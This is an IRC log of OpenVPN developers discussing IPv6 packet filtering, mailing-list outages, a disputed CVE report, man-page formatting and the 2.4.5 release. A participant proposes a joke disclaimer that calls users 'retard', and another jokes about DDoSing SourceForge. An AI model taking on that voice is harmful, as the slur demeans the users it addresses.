<@ordex> *ipv6pf 11:40 < tincantech> cloning ordex = ordwhy ;) 11:40 < tincantech> as it has been quiet i just thought to remind you 11:41 < tincantech> i did test it on windows and linux .. all seemed to work ok 11:43 <@ordex> tincantech: you could post this to the ml - because personally I don't think i can do more 11:46 <@dazo> yeah, if not already done .... feel free to mail a "Tested-by:" notification with some words on how you tested and yourresults 11:50 <@ordex> yeah, that would be helpful! 11:55 < tincantech> I have sent a mail .. but not sure what the final position was .. 11:56 <@ordex> let's see what plaisthos says 11:56 <@ordex> I remember the question 11:57 <@ordex> honestly, I wonder if there will be many users for that feature 11:57 <@ordex> but it was one of the first things I worked on :-] 12:01 < tincantech> it is 6 of one and half dozen of the other .. on one hand should openvpn do packet filter at all on the other if it is going to it oughta do v6 12:02 <@ordex> openvpn needs pf because of packets routed internally without exiting the interface (so cannot be handled by linux) 12:02 <@ordex> anyway, bbl 12:05 < tincantech> ok .. if you rebase the full patch I'll build and test it and report my result to ml (I was hoping it could get into next release) 12:23 <@cron2> ordex: without --client-to-client, all can be filtered by the server 12:29 <@cron2> From: fragmentux <fragmentux@gmail.com> 12:29 <@cron2> *sigh*... people, configure your mail clients 12:31 < kitsune1> cron2: is that true if using topology subnet? 12:31 <@cron2> kitsune1: yes 12:32 < kitsune1> I never got it to work with subnet --- no packets hit any of the iptables tables.. 12:33 <@cron2> you should see the packets with "tcpdump -i tun0" (or whatever your tun interface is called) - and then you can filter them 12:34 < kitsune1> iirc, that too didn't show anything. Will check again and report back. 12:46 < tincantech> cron2: with --client-to-client in mind .. does openvpn need to filter packets at all ? 12:48 < kitsune1> I was wrong, tcpdump on server does show the packets. Have to still figure out why they dont reach the other client. Forward chain accepts all, ip_froward is on and client-to-client works. I cant figure this out. 12:48 < kitsune1> Yeah if this really works, pf is not critical at all.. 12:48 < tincantech> maybe it is a performance thing ? 12:49 < kitsune1> server still has to decrypt and re-encrypt, so performance diff should be non-existent (so I think). 12:53 < tincantech> with --client-to-client enabled openvpn does not send via the kernel (or something like that) but then you cannot filter .. de/encrypt goes on either way 12:54 <@cron2> it's one more loop through the kernel, so it will impact latency and possibly performance somewhat 12:54 < kitsune1> The context switching overhead is overrated (IMO). May matter if you are zipping at 10Gbit/s but not for most people's < 100mbit/s links. 12:55 <@cron2> well, we have folks that are using OpenVPN on 40G links and are complaining that they can't get more than 5 Gbit/s through it :-) 12:55 <@cron2> for "I have a few clients on 3G/4G or home DSL links" it's not a big issue, no 12:57 < tincantech> so .. is the pf something ovpn needs or not ? 12:57 < kitsune1> The 40G folks may find built-in pf rules too limited and would need netfilter. Anyway... 12:59 < tincantech> also .. ovpn pf does not filter on port only ip 12:59 < kitsune1> I would hazard a guess that most wont care about pf if filtering outside (say iptables) works. 12:59 < tincantech> i tend to agree 12:59 <@cron2> since openvpn has pf for v4, adding it for v6 sounds like a logical thing 12:59 < tincantech> i also agree with that 12:59 <@cron2> but it's somewhat of a niche feature 13:00 < tincantech> yup 13:01 < kitsune1> And may pf could be pushed ;) 13:01 < kitsune1> can it be? 13:01 < tincantech> no way ! not yet 13:01 < tincantech> cool idea tho 13:02 < kitsune1> Let me add a paranoid "pull-filter ignore pf" to my configs 13:02 < tincantech> --block-outside-dns is pushing filter rules 13:03 <@cron2> that's something different 13:03 <@cron2> (pushing very specific rules to windows filtering subsystem, not openvpn-pf) 13:03 < tincantech> yes i realise that .. but it proves pushing filtering rules is being done 13:05 < kitsune1> But pf rules cant change host's filtering framework -- e.g., it cant be used to implement a kill switch 13:05 < kitsune1> So not that interesting.. 22:03 <@ordex> cron2: without client-to-client can traffic exit and *re-enter* the tunnel interface to reach a client? uhm 22:25 <@ordex> cron2: otherwise how can you apply filtering? 22:26 <@ordex> cron2: mh maybe I see what you are saying: the taffic would be directed to the "GW" (the server VPN IP) and then it would do routing towards the nexthop (client) which is back in the tunnel interface. if this is true, why do we need pf at all? :D 22:26 <@ordex> ("for platforms where there is no iptables" is not a valid answer :P) --- Day changed Sat Feb 24 2018 00:24 < tincantech> food fo thought . 00:35 < kitsune1> ordex: as cron2 argued, slightly better performance (debatable)? I think the real reason is openvpn likes to be feature-rich :) 00:36 <@ordex> hehe not a good argument if you ask me, but performance might make sense 00:36 <@ordex> as you avoid context switch twice 00:39 < kitsune1> Yeah, but at what point does context switch really start to hurt? I would wager that it wont matter in "most" use cases. 01:09 <@cron2> ordex: exactly 01:16 < kitsune1> For basic client-to-client filtering pf is convenient, though. Updating iptables as a client connects/disconnects would require scripting, and then run those scripts as root etc. So it has its uses. 05:22 <@vpnHelper> RSS Update - tickets: #1022: iOS: in-app log is not populated when using VoD <https://community.openvpn.net/openvpn/ticket/1022> 09:14 <@ordex> kitsune1: context switch is quite costly, and must be for *every* packet, which is one of the performance mitigator of userspace networking applications like openvpn 10:28 < kitsune1> ordex: that is the theory, yes. But iirc, benchmarks over gigabit lines show little improvement with packet size indicating there are other bigger bottlenecks than kernel/user context switches. It should be possible to test this more conclusively using kernel mode linux -- are there any such studies? 10:35 <@ordex> kitsune1: not that I am aware of 10:35 <@ordex> kitsune1: however, you are assuming to have the server running on a powerful host. don't forget that openvpn servers are also running a (almost) embedded devices like routers 11:07 < kitsune1> yeah, some embedded devices even need to use hardware NAT (bypass even the kernel), for example, for good performance -- my asus router is like that. Anyway, the question is, does context switch explain the real-world throughput loss of an openvpn tunnel? Agreed that user-kernel switch will hurt in an otherwise perfectly optimizied code. But without clear numbers hard to say whether its a significa 11:07 < kitsune1> nt bottleneck in the current openvpn implementation. 11:38 <@ordex> kitsune1: yeah I understand what you are saying and I agree 11:39 <@ordex> for sure numbers would be a good thing for starters 13:21 < tincantech> --tls-version-min x > --tls-version-max y ;) 15:03 < kitsune1> not far-fecthed: think of the OS distribution sets a min of 1.2, user sets tls-version-max 1.1. Some distros are indeed trying to enforce TLS min version. 15:54 <@cron2> buildbots are looking mostly green \o/ 15:54 <@cron2> tincantec: debian-85 still wants mbedtls installed 16:51 < tincantech> cron2: debian8 has mbedtls .. how does buildbot call it ? I can't remember 19:58 < tincantech> cron2: i think mbedtls is setup now --- Day changed Sun Feb 25 2018 03:00 <@cron2> meh 03:01 <@cron2> maybe it's really time to move the list to a system of our own... 03:01 <@cron2> right now, the list does not know itself anymore 03:01 <@cron2> ... while talking to mx.sourceforge.net.: 03:01 <@cron2> >>> DATA 03:01 <@cron2> <<< 550 unknown user 03:01 <@cron2> 550 5.1.1 <openvpn-devel@lists.sourceforge.net>... User unknown 03:09 <@cron2> ordex: I just discovered an interesting artefact of my ack-am scripts - it takes a nickname and looks that up in a file for "Antonio Quartulli <a@unstable.cc>" e-mail info 03:09 <@cron2> ordex: now for you, it has Antonio Quartulli <antonio@openvpn.net> - but the last ACK came from the a@unstable.cc address. So, which is the one I should be using? 03:10 <@ordex> cron2: normally I write in the ACK tag the email that should be used 03:10 <@ordex> i.e. Acked-by: ... <antonio@openvpn.net> then this email should be used 03:10 <@cron2> ordex: do you make a conscious difference there? 03:10 <@ordex> yes 03:11 <@ordex> normally I sign with openvpn.net if I am doing that during Ovpn inc. working time 03:11 <@ordex> for some ovpn inc. related task 03:11 <@cron2> ok, then I need to --amend the merge I just did, and add the other address as "ordex-o, ordex-c" or so to my acklist 03:11 <@cron2> blame dazo's git-ack-am script :) 03:11 <@ordex> :D 03:11 <@ordex> am I making your life miserable? 03:11 <@cron2> yes 03:11 <@ordex> :D 03:11 <@cron2> but this is self-elected misery... 03:11 <@ordex> I can try to fix that on my end, because this is the way I do it, but I am not sure ovpn inc. really cares 03:11 <@ordex> :D 03:11 * cron2 could have opted to not notice :-) 03:11 <@ordex> :) 03:12 <@ordex> well, imho the script should just pick that ACK in the reply, no ? 03:12 * ordex blames dazo 03:12 * cron2 blames dazo 03:13 <@cron2> well... I do not feed the whole mail thread into the script, just the original patch - so it doesn't "see" the reply 03:15 <@cron2> so, let's see if the list bounces again... 03:16 <@cron2> oh well... can't even push to sf it seems... whatever they did in their new and shiny new datacenter, "it's not working right" 03:17 <@cron2> what... gitlab is also broken... 03:17 <@cron2> remote: GitLab: Failed to authorize your Git request: internal API unreachable 03:17 <@ordex> this is one of those days... 03:19 <@cron2> mmmh, gitlab worked on the second try, sf gave me a new error 03:19 <@vpnHelper> RSS Update - gitrepo: mbedtls: don't use API deprecated in mbed 2.7 <https://github.com/OpenVPN/openvpn/commit/f22e89bd2311d3cab511e574746c6f82f1fa1a54> 03:34 -!- Netsplit *.net <-> *.split quits: +krzee 03:36 -!- Netsplit over, joins: +krzee 07:16 < slypknot> ecrist: spam on github .. ffs ! 07:17 -!- slypknot is now known as tincantech 08:38 <@vpnHelper> RSS Update - tickets: #1026: iOS app no longer allowing Private Key password entry <https://community.openvpn.net/openvpn/ticket/1026> 11:13 < tincantech> ordex: if you get time :) tyvm : https://forums.openvpn.net/viewtopic.php?f=36&t=25931 11:13 <@vpnHelper> Title: TLS hanshake failing with EC - OpenVPN Support Forum (at forums.openvpn.net) 11:15 < tincantech> that is on iOS and could be related to #1026 (same author) 19:21 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 23:00 <@vpnHelper> RSS Update - tickets: #1027: Trouble with TAP-windows adapter <https://community.openvpn.net/openvpn/ticket/1027> --- Day changed Mon Feb 26 2018 01:58 <@cron2> mornin 02:02 <@ordex> aloha 02:02 <@cron2> damn list is still broken 02:04 <@ordex> I wonder what they are doing at this point.. 02:05 <@ordex> mh at least they have a brand new website 02:06 <@ordex> cron2: https://twitter.com/sfnet_ops they said it's stable again (2h ago) 02:06 <@ordex> apparently somebody got upset and they god ddos's 02:06 <@ordex> ddos'd 02:06 <@ordex> :D 02:16 <@cron2> ordex: if they keep tweeting shit like this, I'll get upset and DDoS them... 02:17 <@cron2> I tried the list right before I wrote "is still broken", and that was 2h after the "it's stable again" 02:17 <@ordex> yeah :/ 02:17 <@cron2> DDoS cannot reasonably explain the list outages ("550 Unknown user") 02:17 <@ordex> mah 02:17 <@ordex> I agree :P 02:18 <@cron2> I actually registered for twitter right now so I can slap them every time they post "ALL IS GOOD!" now 02:19 <@ordex> just seen your post :D 02:20 <@ordex> https://twitter.com/BritonSmetzer/status/967890718537781250 02:20 <@ordex> xD 02:44 <@syzzer> cron2: just noticed that this one didn't get cherry-picked to 2.4, but I think it should: https://www.mail-archive.com/openvpn-devel@lists.sourceforge.net/msg15922.html 02:44 <@vpnHelper> Title: [Openvpn-devel] [PATCH applied] Re: Don't throw fatal errors from create_temp_file() (at www.mail-archive.com) 02:46 <@cron2> ter.com/BritonSmetzer/status/967890718537781250 02:46 <@cron2> ugh 02:48 <@cron2> syzzer: ok. I'll do that when the list is back to operational, because otherwise this is too complicated to keep track of things 02:49 <@syzzer> cron2: yeah, makes sense 02:49 <@syzzer> thanks :) 02:50 <@cron2> your mbedtls 2.7 compat patch has gone in, but the mail to the list is stuck... and it's not even stuck, as in "eventually it will come through" but it is *bouncing*, so I am re-trying every few hours... 02:51 <@syzzer> that stinks 02:52 <@cron2> yep 05:49 <@dazo> mattock: ^^^ how's your plate these days? I really think we need to think of something hosted which we pay for, like https://www.mailmanlists.net/pricing ... lets to a Pro List with a lists.openvpn.org domain 05:49 <@vpnHelper> Title: MailmanLists: Pricing (at www.mailmanlists.net) 05:49 <@dazo> or if its a better list provider, I'm fine with that .... would probably appreciate more if its some of the guys behind mailman or some true open source ML project 06:44 * cron2 agrees 06:44 <@cron2> even if I was halfway ok with sf last wednesday, now they have managed to truly annoy me 06:47 <@ecrist> slypknot: where is the spam? 06:53 <@vpnHelper> RSS Update - tickets: #1028: iOS: PKCS5 error when prompted for the private key password <https://community.openvpn.net/openvpn/ticket/1028> 07:42 <@ecrist> irritating 07:42 * ecrist found the spam. at work. 08:27 <@ecrist> fwiw, the spam was an embedded, very graphic image of a lady's private bits. 08:27 <@ecrist> Not what I expected to see on GitHub. 08:51 -!- slypknot is now known as tincantech 08:51 < tincantech> ecrist: there is also : https://github.com/OpenVPN/easy-rsa/commit/7a29079efd413a99b6ce62f5a8a52263d044c815#commitcomment-27770739 08:51 <@vpnHelper> Title: Replace egrep with grep -E · OpenVPN/easy-rsa@7a29079 · GitHub (at github.com) 08:53 < tincantech> same idiot 09:20 <@ecrist> Yeah, reported and I've blocked the user. 12:13 <@vpnHelper> RSS Update - tickets: #1029: AUTH_FAILED event for plugins <https://community.openvpn.net/openvpn/ticket/1029> 12:18 <@vpnHelper> RSS Update - gitrepo: Warn if tls-version-max < tls-version-min <https://github.com/OpenVPN/openvpn/commit/f8a92a4393aae32fc44e03241b5cc891ca6e58a4> 12:39 <@cron2> mmmh 12:41 <@cron2> the list is still funky... two mails got through, one bounced 21:49 <@ordex> does anybody know how to reply to a message on a ML that I have "not" received in my inbox with thunderbird? with git I'd just send the message to the same ml and set the 'in-reply-to' arg to the message-id of that message. but with thunderbird ? 23:38 < kitsune1> Add References as a custom header in the config editor so that it will show up in the compose window.. Untested.. 23:41 <@ordex> mh sounds like a good direction 23:41 <@ordex> thanks, I will have a look 23:44 < kitsune1> In-Reply-To also may work.. 23:48 < kitsune1> This may be hackish: If your thunderbird is setup to recognize mailto: links, you can make up one with required headers and click on it? 23:55 <@ordex> kitsune1: yeah I thought so too, but it didn't work out-of-the-box so i was wondering about what to debug first :D 23:55 <@ordex> actually mail-archive provides some mailto: url to click on but it didn't work for some reason - so I have to figure out why. that may be easier than writing the header field myself 23:56 < kitsune1> You may have to use xdg-mime to set it up as a handler for mailto: ? 23:57 <@ordex> it's set already, as I see thundebird being brought up upon opening the mailto:, but still it does nothing 23:59 <@ordex> and I don't think mailto falls into he mime thing 23:59 <@ordex> *the --- Day changed Tue Feb 27 2018 00:02 < kitsune1> unofficial mime type: x-scheme-handler/mailto may be? 00:03 < kitsune1> But if it pops its already linked.. hm... 00:04 <@ordex> yeah 00:05 <@ordex> yup and actually firefox asks me which app to use to open the link, so i think the mime think is bypassed anyway 00:05 <@ordex> still I just checked $ xdg-mime query default x-scheme-handler/mailto 00:05 <@ordex> thunderbird-bin.desktop 00:05 <@ordex> ops sorry 00:08 < kitsune1> Even more hackish: cookup a mail with the mail-id in reply-to using git-send-email and send to yourself.. Then you get it in references when you reply.. May be silly. 00:09 <@ordex> yeah that's the last resort :D but I won't get there!! 00:09 <@ordex> :D 00:10 < kitsune1> have fun.. sleep is calling. 00:15 <@ordex> goodnight ! 01:09 <@cron2> mornin' 02:41 <@ordex> moin 06:05 <@ordex> ecrist: https://forums.openvpn.net/viewtopic.php?f=36&p=77189#p77189 06:05 <@vpnHelper> Title: TLS hanshake failing with EC - Page 2 - OpenVPN Support Forum (at forums.openvpn.net) 06:06 <@ordex> ecrist: this might explain the core issue a bit better: https://forums.openvpn.net/viewtopic.php?f=36&t=25931#p77175 06:06 <@vpnHelper> Title: TLS hanshake failing with EC - OpenVPN Support Forum (at forums.openvpn.net) 06:06 <@ordex> *might* be an issue with easyRSA when generating an EC CA 06:58 <@vpnHelper> RSS Update - tickets: #1030: iOS: DNS is still not working over a tunnel with split DNS <https://community.openvpn.net/openvpn/ticket/1030> 07:13 <@ecrist> ordex: I think the issue is actually EasyRSA v3.0.5 07:14 <@ecrist> two issues, 1) v3.0.5 isn't released yet (users insist on git pull instead of downloading a release) and 2) there is an error in my changes for aes256 that breaks EC key generation 08:28 < tincantech> ecrist: maybe insert a huge disclaimer ;) 08:34 <@ecrist> tincantech: that's the plan "Hey retard, you're pulling for a non-release version." 08:34 <@ecrist> s/for/from/ 08:56 <@cron2> mattock: meeting tomorrow? :-) - Topic: 2.4.5 release confirmation (update - we're doing well!) 09:29 < tincantech> ecrist: MOST INSULTING pr WINS ;) 09:29 < tincantech> OOPS CAPS LOCK 10:01 <@ordex> ecrist: ah if he was using master .. well :) 10:08 < tincantech> even so the OP did try quite hard to help .. so all is not lost :) 10:28 <@cron2> syzzer: so... patch 92.. why does it introduce yet another call to tls_session_update_crypto_params()? 10:28 <@cron2> or, if we have that one, why do we need the one in push.c? 10:29 * cron2 is confused about the sequence of things, but this smells like code duplication 10:30 <@cron2> (and why does the new one in multi.c not check ks->crypto_options.key_ctx_bi.initialized?) 10:33 <@vpnHelper> RSS Update - tickets: #1031: iOS: mobileconfig "OpenVPN error : Missing External PKI alias" <https://community.openvpn.net/openvpn/ticket/1031> 23:13 <@ordex> I am receiving messages from Feb 21st 23:18 <@vpnHelper> RSS Update - tickets: #1031: iOS: mobileconfig with no cert triggers "OpenVPN error : Missing External PKI alias" <https://community.openvpn.net/openvpn/ticket/1031> --- Day changed Wed Feb 28 2018 01:05 <@cron2> yeah, list has coughed up a few old things 01:09 <@ordex> maybe we should add the mailing list topic to the next meeting? actually did we agree on when having the next? 01:09 <@ordex> aaand good morning :) 01:14 <@cron2> next meeting supposedly happens in 3h 16min 01:15 <@cron2> different question 01:15 <@cron2> can someone explain to me why parts of our code have 01:15 <@cron2> #if OPENSSL_VERSION_NUMBER > 0x10100000L && !defined(OPENSSL_NO_EC) && !defined(LIBRESSL_VERSION_NUMBER) 01:15 <@cron2> and other parts only have 01:15 <@cron2> #ifndef OPENSSL_NO_EC 01:16 <@cron2> what is this OPENSSL_NO_EC thing, and how is EC support sprinkled across *SSL versions? 01:16 <@cron2> (I was thinking about auto-enabling OPENSSL_NO_EC if LIBRESSL is defined, but this seems to be too simple) 01:17 <@ordex> by reading just these two lines sounds like only *some* EC API is compatible across different versions/libs 02:41 <@syzzer> cron2: iirc, e.g. redhat used to ship some openssl without ec because of patent scares 02:41 <@syzzer> so we had to do OPENSSL_NO_EC checks 02:45 <@cron2> ic 03:01 <@syzzer> cron2: re 92: it moves the tls_session_generate_data_channel_keys() call to after the push, so ccd can decide to push the cipher 03:02 <@syzzer> but then it needs to use tls_session_update_crypto_params(), because that updates the cipher if needed 03:02 <@syzzer> though it's so long ago, that I'd need to carefully look at the details again to fully understand 03:04 <@syzzer> s/push the cipher/set the cipher/ 03:04 <@syzzer> and s/after the push/after parsing ccd/ 03:06 <@cron2> I understand that we might need to *move* it, but it just *adds* a new call to tls_session_update_crypto_params() - so if we need the new one, maybe we can get rid of the one in push.c? 03:08 <@cron2> the change to ssl.c seems to be basically just a simplification - "in server mode, *always* postpone, no matter if --ncp-disable is set or not" 03:09 <@cron2> now the question there is - originally, we decided that this is compat, so if you have a server that has --ncp-disable, it will still work with clients that do not --pull 03:10 <@cron2> now, it's --pull / PUSH_REQUEST (push.c) or the new code in multi.c... and this is something of "why didn't we do it that way right away?" :-) 03:11 <@syzzer> I'd need to check, but I think because push *might* come after ccd 03:11 <@cron2> it definitely will, because ccd usually sets things-to-push 03:11 <@syzzer> so if we have ccd-but-no-push (client does not send PUSH_REQUEST), we need to do it here 03:12 <@syzzer> and if we push, we need to do it after we know what we will be pushing 03:12 <@cron2> but that multi.c hunk needs to be done after push, because otherwise regular ncp will be broken 03:12 <@syzzer> hm, I think I really need to dive in again 03:13 <@cron2> sorry for letting this go for 1 year, but I knew I would have all these questions and did not find time to properly focus :-) 03:13 <@syzzer> yeah, no hard feelings :) 03:13 <@syzzer> if we can make this better, I want to make it better 03:14 <@syzzer> I'll try to dive in tonight 03:14 <@cron2> I'll be around 03:37 <@mattock> ah today is meeting day 03:38 <@mattock> question: are we able to tag the tree today evening? 03:50 <@cron2> yes 03:51 <@cron2> patch 92 is still a bit unclear, but the rest of release/2.4 is in good shape - and while 92 is desirable, it's not a "otherwise this thing will not compile" hard requirement 03:51 <@mattock> ok 03:52 <@mattock> the sooner the better for me 03:52 <@mattock> I have a fairly packed schedule for tomorrow 03:53 <@mattock> will try to push out the release by lunchtime 03:56 <@cron2> ok 04:05 <@mattock> do we want an official meeting? or just a chitchat here? 04:07 * cron2 is fine either way, so "yes" 04:07 <@cron2> my single topic is "2.4.5 tagging will (most likely) happen tonight" 04:07 <@cron2> then, there's "do we want to do something about the sf.net lists" 04:07 <@mattock> oh yes those 04:08 <@mattock> there's probably nothing we can do to fix the immediate problem 04:08 <@cron2> $5/month for a professional service sounds reasonable, but moving over all the subscribers sounds like quite a bit of work... 04:08 <@cron2> right now, lists seem to be working 04:08 <@cron2> as in "today"... monday was annoying, monday evening was ok-ish 04:13 <@mattock> mailmanlists support importing subscribers, but SF.net might explicitly block export 04:13 <@mattock> because SF.net blocks viewing the subscriber list 04:17 <@ordex> yeah i think they have a strict private policy in that regard (?) 04:17 <@ordex> because users ack the sf policy, not ours 04:18 <@cron2> of course sf.net does not want us to export the subscriber list 04:19 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:19 -!- mode/#openvpn-devel [+o mattock_] by ChanServ 04:21 <@ordex> well, we could send an email marked as important to the ml and we tell everybody we are switching, then after one month we close the old one. Assuming we really want to "jump" 04:23 * cron2 wonders how many subscribers these lists really have 04:23 <@ordex> uhm, it's the only email i could read lately on security@ and this guy did not wait for a patch? or what? 04:24 <@cron2> this guy expects us to praise his marvellous find, and send a big bug bounty his way. I think. 04:25 <@ordex> oh ok (I couldn't read the thread as i don't have the key) 04:25 <@ordex> is the finding really "interesting" ? 04:33 * cron2 has not received a mail to security@ today...funky 04:34 <@cron2> (well, only the one from dazo) 04:35 <@mattock_> the last time I checked devel had ~500 and users ~1000 subscribera 04:35 <@mattock_> s 04:36 <@ordex> I received the last one at security@ around 15 minutes ago 04:37 <@cron2> mattock_: have you seen that one? security@ with a CVE ID? I haven't... 04:37 <@mattock_> likewise 04:37 <@dazo> Don't tell me Jose is continuing? 04:38 <@cron2> ordex received a mail to that extent... but I haven't... 04:39 <@dazo> *sigh* 04:39 <@ordex> guys..let me forward it to you then - not sure why this is happening 04:39 <@cron2> dazo has it 04:40 <@cron2> my doctor says I should not receive it 04:40 <@cron2> not good for my health if I run around screaming for half an hour again 04:40 <@ordex> :D 04:40 <@ordex> forwarded 04:41 <@ordex> ah dazo has it - too late, sorry 04:41 <@dazo> :) 04:45 <@cron2> the sarcastic me would write back "congratulations, and have fun with your new toy"... 04:46 <@ordex> lol 04:46 <@dazo> I hope I managed to hide my sarcasm a bit better 04:46 * cron2 wonders what happens next - will the org who issued the CVE contact "the vendor" for a "vendor response"? 04:46 <@ordex> who is the vendor? 04:47 <@cron2> us, openvpn 04:48 <@cron2> like, if you have a linux vulnerability, the CVE usually references responses from redhat, suse, ... 04:48 <@ordex> uhm I see 04:48 <@cron2> (which makes sense, so if the CVE is referenced, people can google for it, find a page with a description of the problem, timelines for bugfixes, and all that) 04:49 <@cron2> for earlier openvpn CVEs, dazo arranged this, so "we opened the CVE, and had contact from day one" - but I can't remember a CVE that someone else opened without us being involved 04:50 <@cron2> the reason why I find this annoying is because CVEs are quoted and used in a lot of context, like "look how insecure OpenVPN is, they already got one CVE in two months of 2018!" 04:51 <@ordex> yeah, but that's not something you can solve. it's just annoying to have +1 CVE..but guess we have to live with that 04:51 <@cron2> and in this particular case "they are not even responsive, but trying to deny the vulnerability instead!" 04:51 <@cron2> so "NO FIX EVEN AFTER SIX MONTHS!" 04:52 <@ordex> uhm 04:52 <@ordex> well 04:53 <@ordex> ths assumes people blindly trusts whoever issues CVEs 04:53 <@ordex> what I found really weird is "did this org assess the severity of the issue on its own?" 04:53 <@dazo> I think we should create a CVE wiki page for this issue ... and explain why this isn't an issue 04:54 <@dazo> I've just sent a mail to ostif too, so they'll hold back any potential bug bounty ... I have no issues people getting bug bounties, but it has to be real issues which we need to fix 04:54 <@dazo> and I think ostif can spend their pool better 04:55 <@dazo> (by ignoring this guy) 04:56 <@dazo> btw ... as we're all here discussing things, I presume there are no meeting today, right? :) 04:57 <@cron2> this is today's meeting :) 04:57 <@dazo> hehe :) 04:57 <@dazo> and if nobody are on it yet ... I can take a stab at the patches needed from the security list discussion 04:57 <@dazo> just to kill that "monster" before it grows any bigger 04:58 <@cron2> I can merge it today so we can have the fix out in one day! 04:58 <@dazo> hehe cool! 04:58 <@dazo> I'll get to work :) 05:35 <@dazo> cron2, ordex, syzzer, mattock: does this text look good to you? 05:37 * cron2 is not seeing text 05:38 <@dazo> duh .... http://termbin.com/5eg9 05:39 <@cron2> what happened to fpaste.org? 05:39 <@dazo> cat | nc termbin.com 9999 05:39 <@dazo> simpler :-P 05:39 <@dazo> and fpaste.org is annoying me by disabling the middle-mouse-button paste 05:40 * cron2 is not happy with the new text 05:40 <@dazo> and that's good! :) Let me know how we can improve it :) 05:41 <@cron2> do we have a wordpad or google docs somewhere? 05:42 <@dazo> Let me prepare it somewhere 05:42 <@cron2> over IRC is not a good approach and throwing around pastes isn't better... 05:42 <@dazo> agreed 05:43 <@dazo> https://public.etherpad-mozilla.org/p/openvpn-manpage-management 05:43 <@vpnHelper> Title: Etherpad (at public.etherpad-mozilla.org) 05:44 <@cron2> give me a sec 05:46 <@dazo> just cleaned up so it's easier to copy-paste afterwards 05:46 -!- mattock_ [~mattock@openvpn/corp/admin/mattock] has quit [Read error: Connection reset by peer] 05:46 <@cron2> ok, I'll just type what I think 05:46 <@dazo> do that :) 05:46 <@cron2> and then you can have another go and yell at me :) 05:46 <@dazo> hehe 05:49 <@cron2> so the main thing is to have both options in the --management command syntax right away, because the "you can also replace this by that" thing was awkward in the old version and did not get better 05:49 <@cron2> the other change is to give the "the default behaviour" bit context again because that only applies to unix sockets 05:50 <@dazo> yeah ... I did actually intend to make the TCP mode a bit "hidden" ... but I'm fine with that 05:50 <@cron2> understood 05:50 <@dazo> I'll remove the ( ) ... as we don't do that other places ... (which was also why I tried to avoid making it too complex to parse) 05:50 <@cron2> ok 05:51 <@cron2> can we do 05:51 <@dazo> and the "socket-name" ... is in bold one in the groff file, so the quotes are removed too 05:51 <@cron2> --management socket-name unix [pw-file] 05:51 <@dazo> but otherwise, I'm fine wit hthis 05:51 <@cron2> --management IP port [pw-file] 05:51 <@cron2> in two lines? 05:51 <@cron2> would that be clearer? 05:51 <@dazo> I tried, but something happened with my groff so the first one disappeared 05:52 <@dazo> could be 'less' or terminal rendering ... I'll try 05:52 <@cron2> groff ate it 05:52 <@dazo> again 05:52 * dazo hates groff 05:52 <@cron2> https://twitter.com/groffthebsdgoat 05:52 <@cron2> groff is nice 05:53 <@dazo> heh 05:54 <@dazo> Okay, 'less' was also playing games with me .... 05:54 <@dazo> I can manage this ... 05:54 <@dazo> --management socket-name unix [pw-file] 05:54 <@dazo> --management IP port [pw-file] 05:54 <@dazo> where there's an additional blank line in between them 05:54 <@dazo> I'll see if I can find something else than .TP 05:54 <@dazo> which does the same 05:54 <@cron2> this is less "regex'y" than foo|bar, and maybe easier to read - still, unix socket first 05:54 <@dazo> without extra spacing 05:55 <@dazo> yeah 05:56 <@cron2> ah, here we are... groff fell asleep when I ranted about DDoS... https://twitter.com/eurobsdcon?lang=de 05:56 <@cron2> dang 05:56 <@cron2> https://twitter.com/lwhsu/status/780045638826426368 05:56 <@cron2> yeah, this one 05:57 <@dazo> okay ... using .TQ instead of .TP renders quite fine .... how intuitive and logic Q comes after P 05:57 <@cron2> well, groff is a goat, so there is not much logic :-) 05:57 <@dazo> lol 05:57 <@dazo> :-D 05:58 <@dazo> okay ... I'll wrap this up into a patch ... surprisingly enough, the hardest part of these patches are the man page :-P 05:58 <@cron2> yep 06:13 <@dazo> cron2: here's a patch for openvpn.8 ... perhaps try this on *BSDs? http://termbin.com/gct9 06:16 <@dazo> try this one instead: http://termbin.com/m7le ... previous one lost a nl 06:18 <@cron2> the .TQ/.TP thing does not work right for me, unfortunately 06:18 <@cron2> (groff on FreeBSD) 06:19 <@cron2> it indents the second --management , and starts the "Enable a management server..." right on the same line 06:19 <@cron2> --management socket-name unix [pw-file] 06:19 <@cron2> --management IP port [pw-file] Enable a management server on a 06:19 <@cron2> socket-name Unix socket on those platforms supporting unix sock- 06:19 <@dazo> eww 06:19 <@cron2> oh, c&p to IRC actually worked 06:19 <@cron2> GNU grops (groff) version 1.19.2 06:20 <@cron2> so it's not even some ancient BSD formatter :) 06:20 <@dazo> heh 06:20 <@dazo> so the .TQ is being funny on your boxes 06:28 <@cron2> looks like it 06:29 * dazo is diving into alternative ways of formatting ... without having to copy the .TQ macro into openvpn.8 06:31 <@dazo> if you replace .TQ with .TP is that an acceptable output for you? 06:31 <@cron2> there is an extra newline, but I do not see this as a major issue - so "works for me" 06:32 <@dazo> okay, that's the best I can manage right now as well 06:33 <@dazo> all other and more advanced approaches results in the same as .TP 06:34 <@cron2> I'll tell groff that you're not happy with him, when I meet him next time :-) (groff travels from BSD conference to BSD conference, world wide) 06:36 <@dazo> hehe .... here's an approach with an embedded macro ... http://termbin.com/hf4w 06:36 <@dazo> the file with this macro was large, and I thought I needed everything ... but don't think so 06:37 <@cron2> nice 06:38 * dazo wonders if groff is turing complete .... 06:38 <@dazo> if this works on your boxes, I can use this last one 06:38 <@cron2> works for me 06:39 <@dazo> goodie! then I'll apply this :) 06:46 <@cron2> +1 06:58 -!- slypknot is now known as tincantech 07:19 <@dazo> took a while ... (home alone with our 11 month kid) ... but patches should be on the way ... *if* the ML is functional again 07:20 <@mattock> um, 2.4.5 sure contains a fair number of patches 07:20 <@mattock> >50 07:20 < eworm> 67 I think 07:21 < eworm> running 2.4.4.r67.g2d705acc-1 07:21 < eworm> :D 07:21 <@mattock> well that is one cryptic version number :P 07:21 <@mattock> although it makes sense in a perverse way 07:21 < eworm> no, it's not 07:22 < eworm> 67 commits since tag 2.4.4, current commit hash is 2d705acc 07:22 <@mattock> that's what I figured 07:23 <@mattock> what does -1 stand for? 07:24 <@dazo> build number? 07:24 < eworm> That's the package release number 07:24 <@dazo> ahh, close :) 07:24 < eworm> call it build number if you like ;) 07:24 <@dazo> but I don't recognise that commitish though :-P 07:25 <@dazo> sigh 07:25 <@dazo> (connect to mx.sourceforge.net[216.105.38.6]:25: Connection timed out) 07:25 <@dazo> openvpn-devel@lists.sourceforge.net 07:26 <@dazo> ahh, there it 